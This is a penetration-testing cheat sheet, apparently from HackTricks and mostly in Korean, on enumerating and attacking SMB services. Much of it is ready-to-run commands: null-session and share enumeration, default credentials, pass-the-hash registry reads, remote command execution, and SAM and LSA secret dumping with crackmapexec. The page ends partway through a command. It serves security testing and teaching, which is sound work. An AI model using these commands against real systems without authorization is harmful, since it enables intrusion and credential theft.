# 139,445 - Pentesting SMB {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## **Port 139** _**λ„€νŠΈμ›Œν¬ κΈ°λ³Έ μž…μΆœλ ₯ μ‹œμŠ€ν…œ**_** (NetBIOS)**λŠ” 둜컬 μ˜μ—­ λ„€νŠΈμ›Œν¬(LAN) λ‚΄μ˜ μ• ν”Œλ¦¬μΌ€μ΄μ…˜, PC 및 λ°μŠ€ν¬νƒ‘μ΄ λ„€νŠΈμ›Œν¬ ν•˜λ“œμ›¨μ–΄μ™€ μƒν˜Έ μž‘μš©ν•˜κ³  **λ„€νŠΈμ›Œν¬λ₯Ό ν†΅ν•œ 데이터 전솑을 μš©μ΄ν•˜κ²Œ ν•˜κΈ° μœ„ν•΄ μ„€κ³„λœ μ†Œν”„νŠΈμ›¨μ–΄ ν”„λ‘œν† μ½œ**μž…λ‹ˆλ‹€. NetBIOS λ„€νŠΈμ›Œν¬μ—μ„œ μž‘λ™ν•˜λŠ” μ†Œν”„νŠΈμ›¨μ–΄ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ 식별 및 μœ„μΉ˜λŠ” μ΅œλŒ€ 16자 길이의 NetBIOS 이름을 톡해 이루어지며, μ΄λŠ” μ’…μ’… 컴퓨터 이름과 λ‹€λ¦…λ‹ˆλ‹€. 두 μ• ν”Œλ¦¬μΌ€μ΄μ…˜ κ°„μ˜ NetBIOS μ„Έμ…˜μ€ ν•œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜(ν΄λΌμ΄μ–ΈνŠΈ μ—­ν• )이 **TCP 포트 139**λ₯Ό μ‚¬μš©ν•˜μ—¬ λ‹€λ₯Έ μ• ν”Œλ¦¬μΌ€μ΄μ…˜(μ„œλ²„ μ—­ν• )을 "호좜"ν•˜λŠ” λͺ…령을 λ°œν–‰ν•  λ•Œ μ‹œμž‘λ©λ‹ˆλ‹€. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 기술적으둜, 포트 139λŠ” β€˜NBT over IPβ€™λ‘œ μ–ΈκΈ‰λ˜λ©°, 포트 445λŠ” β€˜SMB over IPβ€™λ‘œ μ‹λ³„λ©λ‹ˆλ‹€. μ•½μ–΄ **SMB**λŠ” β€˜**μ„œλ²„ λ©”μ‹œμ§€ 블둝**’을 μ˜λ―Έν•˜λ©°, ν˜„λŒ€μ μœΌλ‘œλŠ” **곡톡 인터넷 파일 μ‹œμŠ€ν…œ (CIFS)**둜 μ•Œλ €μ Έ μžˆμŠ΅λ‹ˆλ‹€. μ• ν”Œλ¦¬μΌ€μ΄μ…˜ 계측 λ„€νŠΈμ›Œν¬ ν”„λ‘œν† μ½œλ‘œμ„œ, SMB/CIFSλŠ” 주둜 파일, ν”„λ¦°ν„°, 직렬 ν¬νŠΈμ— λŒ€ν•œ 곡유 μ•‘μ„ΈμŠ€λ₯Ό κ°€λŠ₯ν•˜κ²Œ ν•˜κ³ , λ„€νŠΈμ›Œν¬μ˜ λ…Έλ“œ κ°„ λ‹€μ–‘ν•œ ν˜•νƒœμ˜ 톡신을 μ΄‰μ§„ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄, Windows의 λ§₯λ½μ—μ„œ SMBλŠ” TCP/IPλ₯Ό 톡해 직접 μž‘λ™ν•  수 있으며, 포트 445λ₯Ό μ‚¬μš©ν•˜μ—¬ TCP/IPλ₯Ό ν†΅ν•œ NetBIOS의 ν•„μš”μ„±μ„ μ œκ±°ν•©λ‹ˆλ‹€. λ°˜λŒ€λ‘œ, λ‹€λ₯Έ μ‹œμŠ€ν…œμ—μ„œλŠ” 포트 139의 μ‚¬μš©μ΄ κ΄€μ°°λ˜λ©°, μ΄λŠ” SMBκ°€ TCP/IPλ₯Ό ν†΅ν•œ NetBIOS와 ν•¨κ»˜ μ‹€ν–‰λ˜κ³  μžˆμŒμ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB **μ„œλ²„ λ©”μ‹œμ§€ 블둝 (SMB)** ν”„λ‘œν† μ½œμ€ **ν΄λΌμ΄μ–ΈνŠΈ-μ„œλ²„** λͺ¨λΈμ—μ„œ μž‘λ™ν•˜λ©°, **파일**, 디렉토리 및 프린터와 λΌμš°ν„°μ™€ 같은 기타 λ„€νŠΈμ›Œν¬ λ¦¬μ†ŒμŠ€μ— λŒ€ν•œ **μ ‘κ·Ό**을 κ·œμ œν•˜κΈ° μœ„ν•΄ μ„€κ³„λ˜μ—ˆμŠ΅λ‹ˆλ‹€. 주둜 **Windows** 운영 체제 μ‹œλ¦¬μ¦ˆ λ‚΄μ—μ„œ μ‚¬μš©λ˜λ©°, SMBλŠ” ν•˜μœ„ ν˜Έν™˜μ„±μ„ 보μž₯ν•˜μ—¬ Microsoft의 μ΅œμ‹  운영 체제λ₯Ό μ‹€ν–‰ν•˜λŠ” μž₯μΉ˜κ°€ 이전 버전을 μ‹€ν–‰ν•˜λŠ” μž₯μΉ˜μ™€ μ›ν™œν•˜κ²Œ μƒν˜Έ μž‘μš©ν•  수 μžˆλ„λ‘ ν•©λ‹ˆλ‹€. λ˜ν•œ, **Samba** ν”„λ‘œμ νŠΈλŠ” SMBλ₯Ό **Linux** 및 Unix μ‹œμŠ€ν…œμ—μ„œ κ΅¬ν˜„ν•  수 μžˆλŠ” 무료 μ†Œν”„νŠΈμ›¨μ–΄ μ†”λ£¨μ…˜μ„ μ œκ³΅ν•˜μ—¬ SMBλ₯Ό ν†΅ν•œ 크둜슀 ν”Œλž«νΌ 톡신을 μ΄‰μ§„ν•©λ‹ˆλ‹€. 둜컬 파일 μ‹œμŠ€ν…œμ˜ **μž„μ˜ λΆ€λΆ„**을 λ‚˜νƒ€λ‚΄λŠ” κ³΅μœ λŠ” SMB μ„œλ²„μ— μ˜ν•΄ 제곡될 수 있으며, ν΄λΌμ΄μ–ΈνŠΈμ—κ²Œ μ„œλ²„μ˜ μ‹€μ œ ꡬ쑰와 λΆ€λΆ„μ μœΌλ‘œ **독립적인** 계측을 λ³΄μ—¬μ€λ‹ˆλ‹€. **μ ‘κ·Ό μ œμ–΄ λͺ©λ‘ (ACLs)**은 **μ ‘κ·Ό κΆŒν•œ**을 μ •μ˜ν•˜λ©°, **`execute`**, **`read`**, **`full access`**와 같은 속성을 ν¬ν•¨ν•˜μ—¬ μ‚¬μš©μž κΆŒν•œμ— λŒ€ν•œ **μ„Έλ°€ν•œ μ œμ–΄**λ₯Ό ν—ˆμš©ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ κΆŒν•œμ€ 곡유λ₯Ό 기반으둜 κ°œλ³„ μ‚¬μš©μž λ˜λŠ” 그룹에 할당될 수 있으며, μ„œλ²„μ—μ„œ μ„€μ •λœ 둜컬 κΆŒν•œκ³ΌλŠ” κ΅¬λ³„λ©λ‹ˆλ‹€. ### IPC$ Share IPC$ κ³΅μœ μ— λŒ€ν•œ 접근은 읡λͺ… 널 μ„Έμ…˜μ„ 톡해 얻을 수 있으며, λͺ…λͺ…λœ νŒŒμ΄ν”„λ₯Ό 톡해 λ…ΈμΆœλœ μ„œλΉ„μŠ€μ™€ μƒν˜Έ μž‘μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 λͺ©μ μ„ μœ„ν•΄ `enum4linux` μœ ν‹Έλ¦¬ν‹°κ°€ μœ μš©ν•©λ‹ˆλ‹€. 적절히 μ‚¬μš©ν•˜λ©΄ λ‹€μŒμ„ νšλ“ν•  수 μžˆμŠ΅λ‹ˆλ‹€: * 운영 μ²΄μ œμ— λŒ€ν•œ 정보 * μƒμœ„ 도메인에 λŒ€ν•œ μ„ΈλΆ€ 정보 * 둜컬 μ‚¬μš©μž 및 그룹의 λͺ©λ‘ * μ‚¬μš© κ°€λŠ₯ν•œ SMB κ³΅μœ μ— λŒ€ν•œ 정보 * 효과적인 μ‹œμŠ€ν…œ λ³΄μ•ˆ μ •μ±… 이 κΈ°λŠ₯은 λ„€νŠΈμ›Œν¬ κ΄€λ¦¬μžκ°€ SMB (μ„œλ²„ λ©”μ‹œμ§€ 블둝) μ„œλΉ„μŠ€μ˜ λ³΄μ•ˆ νƒœμ„Έλ₯Ό ν‰κ°€ν•˜λŠ” 데 μ€‘μš”ν•©λ‹ˆλ‹€. `enum4linux`λŠ” λŒ€μƒ μ‹œμŠ€ν…œμ˜ SMB ν™˜κ²½μ— λŒ€ν•œ 포괄적인 λ·°λ₯Ό μ œκ³΅ν•˜λ©°, μ΄λŠ” 잠재적인 취약점을 μ‹λ³„ν•˜κ³  SMB μ„œλΉ„μŠ€κ°€ μ μ ˆν•˜κ²Œ λ³΄ν˜Έλ˜λ„λ‘ ν•˜λŠ” 데 ν•„μˆ˜μ μž…λ‹ˆλ‹€. ```bash enum4linux -a target_ip ``` μœ„μ˜ λͺ…령은 `enum4linux`κ°€ `target_ip`둜 μ§€μ •λœ λŒ€μƒμ„ λŒ€μƒμœΌλ‘œ 전체 μ—΄κ±°λ₯Ό μˆ˜ν–‰ν•˜λŠ” λ°©λ²•μ˜ μ˜ˆμž…λ‹ˆλ‹€. ## NTLMμ΄λž€ NTLM이 무엇인지 λͺ¨λ₯΄κ±°λ‚˜ 그것이 μ–΄λ–»κ²Œ μž‘λ™ν•˜λŠ”μ§€, μ–΄λ–»κ²Œ μ•…μš©ν•  수 μžˆλŠ”μ§€ μ•Œκ³  μ‹Άλ‹€λ©΄, **이 ν”„λ‘œν† μ½œμ΄ μ–΄λ–»κ²Œ μž‘λ™ν•˜λŠ”μ§€μ™€ 이λ₯Ό μ–΄λ–»κ²Œ ν™œμš©ν•  수 μžˆλŠ”μ§€ μ„€λͺ…ν•˜λŠ”** **NTLM**에 λŒ€ν•œ 이 νŽ˜μ΄μ§€κ°€ 맀우 ν₯미둜울 κ²ƒμž…λ‹ˆλ‹€: {% content-ref url="../../windows-hardening/ntlm/" %} [ntlm](../../windows-hardening/ntlm/) {% endcontent-ref %} ## **μ„œλ²„ μ—΄κ±°** ### **호슀트**λ₯Ό κ²€μƒ‰ν•˜μ—¬ λ„€νŠΈμ›Œν¬ μŠ€μΊ”: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMB μ„œλ²„ 버전 SMB λ²„μ „μ˜ κ°€λŠ₯ν•œ 취약점을 찾으렀면 μ–΄λ–€ 버전이 μ‚¬μš©λ˜κ³  μžˆλŠ”μ§€ μ•„λŠ” 것이 μ€‘μš”ν•©λ‹ˆλ‹€. 이 정보가 λ‹€λ₯Έ λ„κ΅¬μ—μ„œ λ‚˜νƒ€λ‚˜μ§€ μ•ŠλŠ” 경우, λ‹€μŒμ„ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€: * **MSF** 보쑰 λͺ¨λ“ˆ \_**auxiliary/scanner/smb/smb\_version** * λ˜λŠ” 이 슀크립트: ```bash #!/bin/sh #Author: rewardone #Description: # Requires root or enough permissions to use tcpdump # Will listen for the first 7 packets of a null login # and grab the SMB Version #Notes: # Will sometimes not capture or will print multiple # lines. May need to run a second time for success. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi if [ ! -z $2 ]; then rport=$2; else rport=139; fi tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` ### **μ΅μŠ€ν”Œλ‘œμž‡ 검색** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **κ°€λŠ₯ν•œ** 자격 증λͺ… | **μ‚¬μš©μž 이름** | **일반 λΉ„λ°€λ²ˆν˜Έ** | | -------------------- | --------------------------------------- | | _(빈칸)_ | _(빈칸)_ | | guest | _(빈칸)_ | | Administrator, admin | _(빈칸)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | | test, lab, demo | password, test, lab, demo | ### 무차별 λŒ€μž… 곡격 * [**SMB 무차별 λŒ€μž… 곡격**](../../generic-methodologies-and-resources/brute-force.md#smb) ### SMB ν™˜κ²½ 정보 ### 정보 νšλ“ ```bash #Dump interesting information enum4linux -a [-u "" -p ""] enum4linux-ng -A [-u "" -p ""] nmap --script "safe or smb-enum-*" -p 445 #Connect to the rpc rpcclient -U "" -N #No creds rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash rpcclient -U "username%passwd" #With creds #You can use querydispinfo and enumdomusers to query user information #Dump user information /usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] #Map possible RPC endpoints /usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` ### μ‚¬μš©μž, κ·Έλ£Ή 및 λ‘œκ·ΈμΈν•œ μ‚¬μš©μž λ‚˜μ—΄ 이 μ •λ³΄λŠ” 이미 enum4linux 및 enum4linux-ngμ—μ„œ μˆ˜μ§‘λ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€. ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` ### 둜컬 μ‚¬μš©μž μ—΄κ±° [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash lookupsid.py -no-pass hostname.local ``` Oneliner ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` ### Metasploit - 둜컬 μ‚¬μš©μž μ—΄κ±° ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` ### **LSARPC 및 SAMR rpcclient μ—΄κ±°ν•˜κΈ°** {% content-ref url="rpcclient-enumeration.md" %} [rpcclient-enumeration.md](rpcclient-enumeration.md) {% endcontent-ref %} ### λ¦¬λˆ…μŠ€μ—μ„œ GUI μ—°κ²° #### ν„°λ―Έλ„μ—μ„œ: `xdg-open smb://cascade.htb/` #### 파일 λΈŒλΌμš°μ € μ°½μ—μ„œ (nautilus, thunar λ“±) `smb://friendzone.htb/general/` ## 곡유 폴더 μ—΄κ±°ν•˜κΈ° ### 곡유 폴더 λͺ©λ‘ 항상 μ ‘κ·Όν•  수 μžˆλŠ”μ§€ ν™•μΈν•˜λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€. 자격 증λͺ…이 μ—†λŠ” 경우 **null** **자격 증λͺ…/게슀트 μ‚¬μš©μž**λ₯Ό μ‚¬μš©ν•΄ λ³΄μ‹­μ‹œμ˜€. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbmap -H [-P ] #Null user smbmap -u "username" -p "password" -H [-P ] #Creds smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash smbmap -R -u "username" -p "password" -H [-P ] #Recursive list crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` ### **곡유 폴더 μ—°κ²°/λͺ©λ‘** ```bash #Connect using smbclient smbclient --no-pass /// smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash #Use --no-pass -c 'recurse;ls' to list recursively with smbclient #List with smbmap, without folder it list everything smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` ### **μˆ˜λ™μœΌλ‘œ μœˆλ„μš° 곡유λ₯Ό μ—΄κ±°ν•˜κ³  μ—°κ²°ν•˜κΈ°** 호슀트 λ¨Έμ‹ μ˜ 곡유λ₯Ό ν‘œμ‹œν•˜λŠ” 데 μ œν•œμ΄ μžˆμ„ 수 있으며, 이λ₯Ό λ‚˜μ—΄ν•˜λ €κ³  ν•  λ•Œ μ—°κ²°ν•  수 μžˆλŠ” κ³΅μœ κ°€ μ—†λŠ” κ²ƒμ²˜λŸΌ 보일 수 μžˆμŠ΅λ‹ˆλ‹€. λ”°λΌμ„œ κ³΅μœ μ— μˆ˜λ™μœΌλ‘œ μ—°κ²°ν•΄λ³΄λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€. 곡유λ₯Ό μˆ˜λ™μœΌλ‘œ μ—΄κ±°ν•˜λ €λ©΄ μœ νš¨ν•œ μ„Έμ…˜(예: null μ„Έμ…˜ λ˜λŠ” μœ νš¨ν•œ 자격 증λͺ…)을 μ‚¬μš©ν•  λ•Œ NT\_STATUS\_ACCESS\_DENIED 및 NT\_STATUS\_BAD\_NETWORK\_NAMEκ³Ό 같은 응닡을 μ°Ύμ•„λ³΄λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€. μ΄λŠ” κ³΅μœ κ°€ μ‘΄μž¬ν•˜μ§€λ§Œ μ ‘κ·Όν•  수 μ—†κ±°λ‚˜ κ³΅μœ κ°€ μ „ν˜€ μ‘΄μž¬ν•˜μ§€ μ•ŠμŒμ„ λ‚˜νƒ€λ‚Ό 수 μžˆμŠ΅λ‹ˆλ‹€. μœˆλ„μš° νƒ€κ²Ÿμ˜ 일반적인 곡유 이름은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€. * C$ * D$ * ADMIN$ * IPC$ * PRINT$ * FAX$ * SYSVOL * NETLOGON (_**Network Security Assessment 3rd edition**_의 일반적인 곡유 이름) λ‹€μŒ λͺ…령을 μ‚¬μš©ν•˜μ—¬ 이듀에 μ—°κ²°ν•΄λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€. ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` 이 슀크립트(널 μ„Έμ…˜ μ‚¬μš©) ```bash #/bin/bash ip='' shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') for share in ${shares[*]}; do output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') if [[ -z $output ]]; then echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created else echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) fi done ``` μ˜ˆμ‹œ ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` ### **Windowsμ—μ„œ 곡유λ₯Ό λ‚˜μ—΄ν•˜κΈ° / μ„œλ“œνŒŒν‹° 도ꡬ 없이** PowerShell ```powershell # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share # Retrieves the SMB shares on a remote computer. get-smbshare -CimSession "" # Retrieves the connections established from the local SMB client to the SMB servers. Get-SmbConnection ``` CMD μ½˜μ†” ```shell # List shares on the local computer net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` MMC μŠ€λƒ…μΈ (κ·Έλž˜ν”½) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` explorer.exe (κ·Έλž˜ν”½), `\\\`λ₯Ό μž…λ ₯ν•˜μ—¬ μ‚¬μš© κ°€λŠ₯ν•œ λΉ„κ³΅μœ  폴더λ₯Ό ν™•μΈν•©λ‹ˆλ‹€. ### 곡유 폴더 λ§ˆμš΄νŠΈν•˜κΈ° ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **파일 λ‹€μš΄λ‘œλ“œ** 자격 증λͺ…/Pass-the-Hash둜 μ—°κ²°ν•˜λŠ” 방법을 배우렀면 이전 μ„Ήμ…˜μ„ μ½μœΌμ‹­μ‹œμ˜€. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap ``` ```bash #Download all smbclient /// > mask "" > recurse > prompt > mget * #Download everything to current directory ``` Commands: * mask: 디렉토리 λ‚΄ νŒŒμΌμ„ ν•„ν„°λ§ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” 마슀크λ₯Ό μ§€μ •ν•©λ‹ˆλ‹€ (예: "" λͺ¨λ“  νŒŒμΌμ— λŒ€ν•΄) * recurse: μž¬κ·€λ₯Ό μΌ­λ‹ˆλ‹€ (κΈ°λ³Έκ°’: 꺼짐) * prompt: 파일 이름에 λŒ€ν•œ ν”„λ‘¬ν”„νŠΈλ₯Ό λ•λ‹ˆλ‹€ (κΈ°λ³Έκ°’: 켜짐) * mget: ν˜ΈμŠ€νŠΈμ—μ„œ ν΄λΌμ΄μ–ΈνŠΈ λ¨Έμ‹ μœΌλ‘œ λ§ˆμŠ€ν¬μ™€ μΌμΉ˜ν•˜λŠ” λͺ¨λ“  νŒŒμΌμ„ λ³΅μ‚¬ν•©λ‹ˆλ‹€ (_Information from the manpage of smbclient_) ### Domain Shared Folders Search * [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` * [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) μŠ€νŒŒμ΄λ”. * `-M spider_plus [--share ]` * `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` 특히 ν₯미둜운 곡유 νŒŒμΌμ€ **`Registry.xml`**둜, μ΄λŠ” **autologon**이 Group Policyλ₯Ό 톡해 κ΅¬μ„±λœ μ‚¬μš©μžμ— λŒ€ν•œ **λΉ„λ°€λ²ˆν˜Έ**λ₯Ό 포함할 수 μžˆμŠ΅λ‹ˆλ‹€. λ˜λŠ” **`web.config`** νŒŒμΌμ€ 자격 증λͺ…을 ν¬ν•¨ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. {% hint style="info" %} **SYSVOL 곡유**λŠ” 도메인 λ‚΄ λͺ¨λ“  인증된 μ‚¬μš©μžκ°€ **읽을 수 μžˆμŠ΅λ‹ˆλ‹€**. κ·Έ μ•ˆμ—λŠ” λ‹€μ–‘ν•œ 배치, VBScript 및 PowerShell **슀크립트**κ°€ μžˆμ„ 수 μžˆμŠ΅λ‹ˆλ‹€.\ κ·Έ μ•ˆμ˜ **슀크립트**λ₯Ό **확인**ν•΄μ•Ό ν•˜λ©°, **λΉ„λ°€λ²ˆν˜Έ**와 같은 λ―Όκ°ν•œ 정보λ₯Ό **찾을 수** μžˆμŠ΅λ‹ˆλ‹€. {% endhint %} ## λ ˆμ§€μŠ€νŠΈλ¦¬ 읽기 발견된 자격 증λͺ…을 μ‚¬μš©ν•˜μ—¬ **λ ˆμ§€μŠ€νŠΈλ¦¬**λ₯Ό **읽을 수** μžˆμŠ΅λ‹ˆλ‹€. Impacket **`reg.py`**λ₯Ό μ‚¬μš©ν•˜μ—¬ μ‹œλ„ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` ## Post Exploitation **Samba** μ„œλ²„μ˜ **κΈ°λ³Έ ꡬ성**은 일반적으둜 `/etc/samba/smb.conf`에 μœ„μΉ˜ν•˜λ©°, λͺ‡ 가지 **μœ„ν—˜ν•œ ꡬ성**이 μžˆμ„ 수 μžˆμŠ΅λ‹ˆλ‹€: | **μ„€μ •** | **μ„€λͺ…** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | ν˜„μž¬ κ³΅μœ μ—μ„œ μ‚¬μš© κ°€λŠ₯ν•œ 곡유 λͺ©λ‘μ„ λ‚˜μ—΄ν•  수 μžˆμŠ΅λ‹ˆκΉŒ? | | `read only = no` | 파일의 생성 및 μˆ˜μ •μ„ κΈˆμ§€ν•©λ‹ˆκΉŒ? | | `writable = yes` | μ‚¬μš©μžκ°€ νŒŒμΌμ„ μƒμ„±ν•˜κ³  μˆ˜μ •ν•  수 μžˆλ„λ‘ ν—ˆμš©ν•©λ‹ˆκΉŒ? | | `guest ok = yes` | λΉ„λ°€λ²ˆν˜Έ 없이 μ„œλΉ„μŠ€μ— μ—°κ²°ν•  수 μžˆλ„λ‘ ν—ˆμš©ν•©λ‹ˆκΉŒ? | | `enable privileges = yes` | νŠΉμ • SID에 ν• λ‹Ήλœ κΆŒν•œμ„ μ‘΄μ€‘ν•©λ‹ˆκΉŒ? | | `create mask = 0777` | μƒˆλ‘œ μƒμ„±λœ νŒŒμΌμ— μ–΄λ–€ κΆŒν•œμ΄ ν• λ‹Ήλ˜μ–΄μ•Ό ν•©λ‹ˆκΉŒ? | | `directory mask = 0777` | μƒˆλ‘œ μƒμ„±λœ 디렉토리에 μ–΄λ–€ κΆŒν•œμ΄ ν• λ‹Ήλ˜μ–΄μ•Ό ν•©λ‹ˆκΉŒ? | | `logon script = script.sh` | μ‚¬μš©μžμ˜ 둜그인 μ‹œ μ–΄λ–€ 슀크립트λ₯Ό μ‹€ν–‰ν•΄μ•Ό ν•©λ‹ˆκΉŒ? | | `magic script = script.sh` | μŠ€ν¬λ¦½νŠΈκ°€ μ’…λ£Œλ  λ•Œ μ–΄λ–€ 슀크립트λ₯Ό μ‹€ν–‰ν•΄μ•Ό ν•©λ‹ˆκΉŒ? | | `magic output = script.out` | λ§ˆλ²• 슀크립트의 좜λ ₯이 어디에 μ €μž₯λ˜μ–΄μ•Ό ν•©λ‹ˆκΉŒ? | `smbstatus` λͺ…령은 **μ„œλ²„** 및 **λˆ„κ°€ μ—°κ²°λ˜μ–΄ μžˆλŠ”μ§€**에 λŒ€ν•œ 정보λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€. ## Authenticate using Kerberos **smbclient** 및 **rpcclient** 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ **kerberos**에 **인증**ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` ## **λͺ…λ Ή μ‹€ν–‰** ### **crackmapexec** crackmapexecλŠ” **wmiexec**κ°€ **κΈ°λ³Έ** 방법인 **mmcexec, smbexec, atexec, wmiexec**λ₯Ό **μ•…μš©ν•˜μ—¬** λͺ…령을 μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ‚¬μš©ν•˜κ³  싢은 μ˜΅μ…˜μ„ `--exec-method` λ§€κ°œλ³€μˆ˜λ‘œ 지정할 수 μžˆμŠ΅λ‹ˆλ‹€: ```bash apt-get install crackmapexec crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash # Using --exec-method {mmcexec,smbexec,atexec,wmiexec} crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups crackmapexec smb -d -u 